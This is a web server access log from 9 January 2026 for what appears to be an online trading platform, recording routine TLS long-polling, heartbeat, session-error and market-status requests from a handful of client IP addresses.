[09/Jan/2026:14:37:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940893060 HTTP/1.1" -
[09/Jan/2026:14:37:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940896450 HTTP/1.1" -
[09/Jan/2026:14:37:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940898079 HTTP/1.1" -
[09/Jan/2026:14:37:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940901582 HTTP/1.1" -
[09/Jan/2026:14:37:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940903113 HTTP/1.1" -
[09/Jan/2026:14:37:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940906723 HTTP/1.1" -
[09/Jan/2026:14:37:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:37:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:37:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940908148 HTTP/1.1" -
[09/Jan/2026:14:37:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940911963 HTTP/1.1" -
[09/Jan/2026:14:37:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940913187 HTTP/1.1" -
[09/Jan/2026:14:37:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:37:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940917054 HTTP/1.1" -
[09/Jan/2026:14:37:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940918225 HTTP/1.1" -
[09/Jan/2026:14:37:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940922174 HTTP/1.1" -
[09/Jan/2026:14:37:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940923252 HTTP/1.1" -
[09/Jan/2026:14:37:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:37:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940927321 HTTP/1.1" -
[09/Jan/2026:14:37:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940928298 HTTP/1.1" -
[09/Jan/2026:14:37:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940932434 HTTP/1.1" -
[09/Jan/2026:14:37:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940933318 HTTP/1.1" -
[09/Jan/2026:14:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940937560 HTTP/1.1" -
[09/Jan/2026:14:37:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940938360 HTTP/1.1" -
[09/Jan/2026:14:37:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940936147 HTTP/1.1" -
[09/Jan/2026:14:37:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940942590 HTTP/1.1" -
[09/Jan/2026:14:37:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940943399 HTTP/1.1" -
[09/Jan/2026:14:37:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:37:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:37:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:37:55 +0800] 64.62.156.222 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:14:37:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:37:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940953551 HTTP/1.1" -
[09/Jan/2026:14:37:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940947662 HTTP/1.1" -
[09/Jan/2026:14:37:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940948447 HTTP/1.1" -
[09/Jan/2026:14:38:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940958592 HTTP/1.1" -
[09/Jan/2026:14:38:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940952802 HTTP/1.1" -
[09/Jan/2026:14:38:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940953463 HTTP/1.1" -
[09/Jan/2026:14:38:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940963999 HTTP/1.1" -
[09/Jan/2026:14:38:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940958487 HTTP/1.1" -
[09/Jan/2026:14:38:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940957944 HTTP/1.1" -
[09/Jan/2026:14:38:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940969071 HTTP/1.1" -
[09/Jan/2026:14:38:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940963531 HTTP/1.1" -
[09/Jan/2026:14:38:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940963081 HTTP/1.1" -
[09/Jan/2026:14:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940974101 HTTP/1.1" -
[09/Jan/2026:14:38:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940968572 HTTP/1.1" -
[09/Jan/2026:14:38:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940968228 HTTP/1.1" -
[09/Jan/2026:14:38:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940986903 HTTP/1.1" -
[09/Jan/2026:14:38:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940979200 HTTP/1.1" -
[09/Jan/2026:14:38:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940973616 HTTP/1.1" -
[09/Jan/2026:14:38:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940973293 HTTP/1.1" -
[09/Jan/2026:14:38:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940991995 HTTP/1.1" -
[09/Jan/2026:14:38:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940984243 HTTP/1.1" -
[09/Jan/2026:14:38:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940978663 HTTP/1.1" -
[09/Jan/2026:14:38:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940978447 HTTP/1.1" -
[09/Jan/2026:14:38:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940997066 HTTP/1.1" -
[09/Jan/2026:14:38:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940989313 HTTP/1.1" -
[09/Jan/2026:14:38:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940983692 HTTP/1.1" -
[09/Jan/2026:14:38:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940983591 HTTP/1.1" -
[09/Jan/2026:14:38:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941002130 HTTP/1.1" -
[09/Jan/2026:14:38:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940994400 HTTP/1.1" -
[09/Jan/2026:14:38:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940988716 HTTP/1.1" -
[09/Jan/2026:14:38:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940988787 HTTP/1.1" -
[09/Jan/2026:14:38:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941007164 HTTP/1.1" -
[09/Jan/2026:14:38:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940999474 HTTP/1.1" -
